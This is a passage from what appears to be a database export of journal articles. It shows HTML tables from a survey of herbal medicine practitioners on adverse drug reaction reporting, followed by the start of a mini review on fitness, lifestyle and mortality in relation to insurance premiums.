ADR?</span></p>\r\n			</td>\r\n			<td style=\"width:130.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">7.4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:130.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">No</span></p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">25</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">92.6</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:180.9pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:130.5pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"5\" style=\"width:180.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Why didn&rsquo;t you report ADR?</span></p>\r\n			</td>\r\n			<td style=\"width:130.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Reasons not stated</span></p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">16</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">64.0</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:130.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">No case of ADR</span></p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">8.0</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:130.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Don&rsquo;t know who to report to.</span></p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">4</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">16.0</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:130.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">ADR not life threatening</span></p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">8.0</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:130.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Had no idea of ADR</span></p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">1</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">4.0</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:180.9pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:130.5pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:180.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Have you ever attended any training on pharmacovigilance</span></p>\r\n			</td>\r\n			<td style=\"width:130.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">7.4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:130.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">No</span></p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">25</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">92.6</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:180.9pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:130.5pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:180.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Ever since you were trained have you ever reported ADRs?</span></p>\r\n			</td>\r\n			<td style=\"width:130.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">1</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">50.0</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:130.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">No</span></p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">1</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">50.0</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:12px\"><strong>Table 4: </strong>Training of HMPs on pharmacovigilance and their reporting of ADRs.</span></span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#ffffff\">Variable</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#ffffff\">Subgroup</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#ffffff\">Frequency</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#ffffff\">Percentage</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"3\" style=\"width:2.2in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">What type of herbal medication do you mostly dispense?</span></p>\r\n			</td>\r\n			<td style=\"width:153.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Prepacked herbal medications</span></p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">24</span></p>\r\n			</td>\r\n			<td style=\"width:90.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">88.9%</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:153.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Prepacked herbal medicine and raw plants</span></p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2</span></p>\r\n			</td>\r\n			<td style=\"width:90.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">7.4%</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:153.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Raw plants</span></p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">1</span></p>\r\n			</td>\r\n			<td style=\"width:90.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">3.7%</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:2.2in\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:153.0pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:90.9pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:2.2in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Does any of your HM have side effects?</span></p>\r\n			</td>\r\n			<td style=\"width:153.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">5</span></p>\r\n			</td>\r\n			<td style=\"width:90.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">18.5%</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:153.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">No</span></p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">22</span></p>\r\n			</td>\r\n			<td style=\"width:90.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">81.5%</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n</div>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:12px\"><strong>Table 5:&nbsp; </strong>Forms of herbal products supplied by Herbal medicine practitioners and their side effects.</span></span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#ffffff\">Variable</span></strong></span></p>\r\n			</td>\r\n			<td colspan=\"6\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#ffffff\">Responses</span></strong></span></p>\r\n			</td>\r\n			<td rowspan=\"2\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#ffffff\">Mean score (%)</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Strongly agree</strong></span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Agree</strong></span></p>\r\n			</td>\r\n			<td style=\"width:51.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Not Sure</strong></span></p>\r\n			</td>\r\n			<td style=\"width:46.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Disagree</strong></span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Strongly Disagree</strong></span></p>\r\n			</td>\r\n			<td style=\"width:43.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Don&rsquo;t Know</strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><a name=\"_Hlk527100533\">It is important to report any ADR.</a></span></p>\r\n\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">10 (37.0%)</span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">8 (29.6%)</span></p>\r\n			</td>\r\n			<td style=\"width:51.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">3 (11.1%)</span></p>\r\n			</td>\r\n			<td style=\"width:46.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2(7.4%)</span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0 (0.0%)</span></p>\r\n			</td>\r\n			<td style=\"width:43.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">4 (14.8%)</span></p>\r\n			</td>\r\n			<td style=\"width:61.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">3.52&plusmn;1.74 (70.4%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><a name=\"_Hlk527100550\">Providing me with training on pharmacovigilance is appropriate.</a></span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">17 (63.0%)</span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">5 (18.5%)</span></p>\r\n			</td>\r\n			<td style=\"width:51.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">1 (3.7%)</span></p>\r\n			</td>\r\n			<td style=\"width:46.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0 (0.0%)</span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0 (0.0%)</span></p>\r\n			</td>\r\n			<td style=\"width:43.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">4 (14.8%)</span></p>\r\n			</td>\r\n			<td style=\"width:61.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">4.00&plusmn;1.78 (80.0%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><a name=\"_Hlk527100594\">All reported ADRs should be paid for.</a></span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2 (7.4%)</span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">7 (25.9%)</span></p>\r\n			</td>\r\n			<td style=\"width:51.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">15 (55.6%)</span></p>\r\n			</td>\r\n			<td style=\"width:46.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0 (0.0%)</span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2 (7.4%)</span></p>\r\n			</td>\r\n			<td style=\"width:43.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">1 (3.7%)</span></p>\r\n			</td>\r\n			<td style=\"width:61.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">3.15&plusmn;1.10 (63.0%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><a name=\"_Hlk527101154\">Reporting ADR should be compulsory</a></span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">4 (14.8%)</span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">14 (51.9%)</span></p>\r\n			</td>\r\n			<td style=\"width:51.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">5 (18.5%)</span></p>\r\n			</td>\r\n			<td style=\"width:46.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2 (7.4%)</span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0 (0.0%)</span></p>\r\n			</td>\r\n			<td style=\"width:43.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2 (7.4%)</span></p>\r\n			</td>\r\n			<td style=\"width:61.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">3.52&plusmn;1.28 (70.4%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><a name=\"_Hlk527101172\">Only serious and unexpected reactions should be reported</a></span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">1 (3.7%)</span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">8 (29.6%)</span></p>\r\n			</td>\r\n			<td style=\"width:51.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">4 (14.8%)</span></p>\r\n			</td>\r\n			<td style=\"width:46.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">9 (33.3%)</span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">4 (14.8%)</span></p>\r\n			</td>\r\n			<td style=\"width:43.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">1 (3.7%)</span></p>\r\n			</td>\r\n			<td style=\"width:61.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2.63&plusmn;1.28</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">(52.6%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><a name=\"_Hlk527101189\">Reporting ADR ensures patient safety</a></span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">13 (48.1%)</span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">10 (37.0%)</span></p>\r\n			</td>\r\n			<td style=\"width:51.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">3 (11.1%)</span></p>\r\n			</td>\r\n			<td style=\"width:46.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0 (0.0%)</span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0 (0.0%)</span></p>\r\n			</td>\r\n			<td style=\"width:43.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">1 (3.7%)</span></p>\r\n			</td>\r\n			<td style=\"width:61.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">4.22&plusmn;1.09 (84.4%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><a name=\"_Hlk527101204\">Reporting ADR is my professional duty</a></span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">6 (22.2%)</span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">9 (33.3%)</span></p>\r\n			</td>\r\n			<td style=\"width:51.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">8 (29.6%)</span></p>\r\n			</td>\r\n			<td style=\"width:46.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">3 (11.1%)</span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0 (0.0%)</span></p>\r\n			</td>\r\n			<td style=\"width:43.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">1 (3.7%)</span></p>\r\n			</td>\r\n			<td style=\"width:61.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">3.56&plusmn;1.19 (71.2%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Overall attitude score</span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:51.15pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:46.75pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:43.9pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:61.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">3.52&plusmn;0.78 (70.4%)</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 6: </strong>Herbal medicine practitioners&rsquo; attitude towards reporting of ADRs.</span></span></p>\r\n</div>\r\n</div>\r\n','1546849366.pdf',NULL,'1541053132.jpg','',0,1,'2018-11-01 11:48:51','2019-01-08 00:03:16',1),(22,31,'20','2018','The Effect of Fitness, Sports and Lifestyle Factors on All Causes Mortality and Insurance Premiums','Michael AB Naafs*','Mini Review','The-Effect-of-Fitness-Sports-and-Lifestyle-Factors-on-All-Causes-Mortality-and-Insurance-Premiums','The Effect of Fitness Sports and Lifestyle-Factors-on-All-Causes-Mortality-and-Insurance-Premiums','The-Effect-of-Fitness-Sports-and-Lifestyle-Factors-on-All Causes Mortality and Insurance Premiums','The-Effect-of-Fitness-Sports-and-Lifestyle-Factors-on-All-Causes-Mortality-and-Insurance-Premiums','<p style=\"text-align:center\"><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal of Sports Science and Physical Therapy </strong></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>The Effect of Fitness, Sports and Lifestyle Factors on All Causes Mortality and Insurance Premiums</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Michael AB Naafs<sup>*</sup></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Endocrinologist, Health Consultant at Naafs, International Health Consultancy, Netherlands</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><sup>*</sup></strong><strong>Corresponding author</strong>:<strong> </strong>Michael AB Naafs, Dutch Internist, Endocrinologist, Health Consultant at Naafs, International Health Consultancy, Rhodoslaan 20,7577KN, Oldenzaal, Netherlands. Tel +31681589079; Email: <a href=\"mailto:naafs.healthconsultancy@gmail.com\">naafs.healthconsultancy@gmail.com</a>; <a href=\"mailto:michael.naafs@hotmail.com\">michael.naafs@hotmail.com</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Naafs MAB (2018) The Effect of Fitness, Sports and Lifestyle Factors on All Causes Mortality and Insurance Premiums. J Sports Sci Physi Ther: JSSPT-102.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date: </strong>11 October, 2018;<strong> Accepted Date: </strong>15 October, 2018;<strong> Published Date: </strong>01 November, 2018</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1. Abstract</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Physical activity, sports and modifying lifestyle factors reduce all causes mortality in a dose -response way and should be prescribed as a medicine. Insurance companies are looking for possibilities and opportunities in this new market. Luring clients with apps, trackers and smart watches is only a small part of their efforts. Giant mergers, alliances and A1 learning will dominate the landscape of healthcare and insurance in the near future. If this benefits patients have to be seen.</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Introduction</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">High levels of physical activity (PA) reduce the risk of mortality among older adults [1-12]. There is growing support that exercise is medicine, since it is a crucial modifiable factor for preventing early mortality [8]. Strong evidence exists that shows a dose-response relationship to the volume of PA and mortality, with PA levels up to 3 times higher than the recommended value of 30 minutes walking a day, yielding the most favorable all-causes mortality rates [13-16]. So, PA, fitness and sports can be prescribed by physicians in different doses [7,8]. Are there similarities with prescribing of regular medicines?</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Global fitness market is worth approximately $ 81,2 billion with 186.850 clubs and over 151 million members worldwide. This doesn&rsquo;t include all of the related industries within fitness, such as equipment, trackers or supplements [17]. With Johnson &amp; Johnson only at an estimated value of $ 354 billion, this may seem small but is nevertheless substantial 